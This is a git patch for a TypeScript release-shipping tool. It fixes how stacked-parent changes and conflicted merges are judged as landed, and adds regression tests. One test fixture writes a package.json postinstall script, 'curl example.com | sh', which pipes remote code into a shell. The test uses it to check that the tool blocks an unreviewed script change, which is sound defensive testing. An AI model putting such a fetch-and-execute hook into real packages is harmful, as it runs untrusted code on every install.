From a09196fc55f161df7772320d962aece0531fe439 Mon Sep 17 00:00:00 2001 From: garrytan Date: Thu, 5 Nov 2026 05:07:31 +0000 Subject: [PATCH] fix(ship): a loop exception starts at the landed parent; a conflicted base commit never holds a parent (GST-1399) Review-Finding: p1/red-team#1 reader=red-team Review-Finding: v1/outside-voice#1 reader=outside-voice Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> --- lib/ship-receipt.ts | 2 +- lib/ship-release.ts | 2 +- test/ship-finish-stack-parent.test.ts | 37 +++++++++++++++++++++++++++ 3 files changed, 39 insertions(+), 2 deletions(-) diff --git a/lib/ship-receipt.ts b/lib/ship-receipt.ts index b86d6ad1b..8ad936535 100644 --- a/lib/ship-receipt.ts +++ b/lib/ship-receipt.ts @@ -340,7 +340,7 @@ export function heldBy(repoRoot: string, commit: string, currentBase: string, pa const holds = (at: string): 'held' | 'conflict' | 'no' => { const merged = run(['merge-tree', '--write-tree', '--no-messages', at, commit]); const tree = merged.status === 0 || merged.status === 1 ? merged.stdout.split('\n')[0]?.trim() : undefined; - if (tree && run(['diff', '--quiet', at, tree, '--', ...pathspec]).status === 0) return 'held'; + if (merged.status === 0 && tree && run(['diff', '--quiet', at, tree, '--', ...pathspec]).status === 0) return 'held'; return merged.status === 1 ? 'conflict' : 'no'; }; const tip = holds(currentBase); diff --git a/lib/ship-release.ts b/lib/ship-release.ts index 38a704c1e..f33115c78 100644 --- a/lib/ship-release.ts +++ b/lib/ship-release.ts @@ -306,7 +306,7 @@ function route(cwd: string, base: string, reviewed: string, reviewedBase: Review if (loop) { const head = loop.fix_check.head; const since = touchedPaths(cwd, head, now); - const fork = git(cwd, ['merge-base', baseRef, head]).stdout.trim(); + const fork = parent && ancestor(parent, head) ? parent : git(cwd, ['merge-base', baseRef, head]).stdout.trim(); const atHead = fork ? touchedPaths(cwd, fork, head) : null; if (!since || !atHead) { r.stop(`git could not list the paths changed since fix-check ${head.slice(0, 12)} or the paths the branch touched at it against ${baseRef}: stage 2 is blocked`); return null; } const listed = loop.fix_check.files; diff --git a/test/ship-finish-stack-parent.test.ts b/test/ship-finish-stack-parent.test.ts index f46b6e140..bd6ebd674 100644 --- a/test/ship-finish-stack-parent.test.ts +++ b/test/ship-finish-stack-parent.test.ts @@ -31,6 +31,7 @@ const TEST_V2 = TEST_V1 + "test('lock 502 retries', () => { expect(2).toBe(2); } const BASE = { 'src/shared.ts': lines(20), 'docs/policy.md': '# Policy\n\nold rule\n', 'test/helpers/data.ts': 'export const rows = [0];\n', 'test/land.test.ts': TEST_V0 }; const PARENT = { 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;' }), 'docs/policy.md': '# Policy\n\nparent rule\n', 'test/helpers/data.ts': 'export const rows = [1];\n', 'test/land.test.ts': TEST_V1, 'README.md': '# Fx, from the parent\n' }; const CHILD = { 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;', 15: 'export const l15 = 150;' }), 'src/child.ts': 'export const c = 1;\n' }; +const CHILD_ONLY = { 'src/child.ts': 'export const c = 1;\n' }; /** Main after the parent's squash: later edits to the parent's files (a doc, a helper, a test, the audited README) and one far from the child's hunk. */ const MAIN_LATER = { 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;', 8: 'export const l8 = 80;' }), 'docs/policy.md': '# Policy\n\nparent rule\n\nmain rule\n', 'test/helpers/data.ts': 'export const rows = [1, 2];\n', 'test/land.test.ts': TEST_V2, 'README.md': '# Fx, from the parent\n\nMain moved on.\n' }; @@ -173,6 +174,42 @@ describe('finish after a stacked parent squash-merges (GST-1399)', () => { expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, behaviorStop('docs/review-policy.md')]); }); + // Value: protects=a review-loop exception with no files list cannot accept a parent change main never received: its + // "touched at the fix-check head" set starts at the landed parent, not at the pre-parent fork (red-team p1 on #4021); + // fails_when=the loop's atHead runs from merge-base(origin/main, fix_check.head) under a landed stack parent; + // seam=route's review-loop exception + test('a review-loop exception does not accept a parent script main does not hold', () => { + const PKG = '{"name":"fx","version":"1.0.0"}\n'; + const POSTINSTALL = '{"name":"fx","version":"1.0.0","scripts":{"postinstall":"curl example.com | sh"}}\n'; + const { f, parent, passHead, reviewed, post } = stacked({ parentFiles: { ...PARENT, 'package.json': POSTINSTALL }, afterLand: g => g.advanceBase({ 'package.json': PKG }) }); + f.write({ 'package.json': POSTINSTALL.replace('1.0.0', '1.0.1'), VERSION: '1.0.1.0\n' }); f.commit('bump'); + const exception = JSON.stringify({ accepted_by: 'GStack Minder', date: '2026-11-05', via: 'test', reason: 'fixture', fix_check: { head: passHead, findings: 0 } }); + const r = finish(f, reviewed, post, ['--reviewed-base', parent, '--review-loop-exception', exception]); + expect(lineOf(r.stdout, 'REVIEW_LOOP_EXCEPTION')).not.toContain('package.json'); + expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, behaviorStop('package.json')]); + }); + + // Value: protects=a base commit whose merge with the parent conflicts never counts as holding it, even when the + // conflicted tree keeps the base's bytes (a modify/delete conflict; outside voice on #4021); fails_when=heldBy reads + // only the merged tree's diff and ignores merge-tree's conflict status; seam=lib/ship-receipt.ts heldBy + test('a parent deletion the base never took is not landed, even when the conflicted tree matches the base', () => { + const base = { ...BASE, 'src/a.ts': lines(10) }; + const f = shipFixture(base, { 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;' }) }); ships.push(f); + expect(f.git('rm', '-q', 'src/a.ts').status).toBe(0); f.commit('parent: drop a.ts'); + const parent = head(f); + expect(f.git('push', '-q', 'origin', 'feat:parent').status).toBe(0); + f.write(CHILD_ONLY); f.commit('child'); + const reviewed = wtree(f); + const post = path.join(f.root, 'post.json'); + expect(f.run(path.join(BIN, 'gstack-docs-candidate'), ['snapshot', '--out', post, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', '--docs', 'README.md']).status).toBe(0); + f.advanceBase({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;' }), 'src/a.ts': lines(10, { 2: 'export const l2 = 20;' }) }); + f.advanceBase({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 300;' }) }); + mergeMain(f); + const r = finish(f, reviewed, post, ['--reviewed-base', parent]); + expect(lineOf(r.stdout, 'REVIEWED_BASE')).toBe(''); + expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, expect.stringContaining('nor a landed stack parent')]); + }); + // Value: protects=a reviewed executable bit reverted to main's mode after review is not held by main, so it stops // (outside voice on #4013); fails_when=baseHolds compares blob bytes only; seam=lib/ship-patch.ts baseHolds test('a reverted mode change stops', () => {